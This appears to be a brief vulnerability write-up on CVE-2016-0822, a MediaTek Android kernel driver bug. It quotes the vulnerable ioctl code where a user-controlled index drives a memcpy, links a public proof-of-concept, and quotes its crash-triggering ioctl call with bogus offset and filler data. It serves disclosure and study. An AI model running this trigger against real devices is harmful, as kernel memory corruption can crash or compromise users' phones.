CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

• CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

 

//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
        UINT32 dowloadSeq;
        UCHAR addRess[4];
        UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;

VOID wmt_lib_set_patch_num(unsigned long num)
{
        P_DEV_WMT pWmtDev = &gDevWmt;
        pWmtDev->patchNum = num;
}
      
  ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
  case WMT_IOCTL_SET_PATCH_INFO:{
      ...
      if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
                                WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
                                iRet = -EFAULT;
                                break;
                        }
      ...
      dWloadSeq = wMtPatchInfo.dowloadSeq; 
      //arbitrary memory overwrite. user can control dowloadSeq
      osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
                                    sizeof(WMT_PATCH_INFO));

CVE-2016-0822 PoC :

https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

 

        /* set some absurd offset, in hopes of causing panic or GPF */
        overflow.dowloadSeq = 0x31337;
        /* set obvious bogus data into data fields.
         * If I had exploitation skills these would contain pointers to userland!
         */
        memset(&overflow.addRess, 'A', 4);
        memset(&overflow.patchName, 'A', 256);

        ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);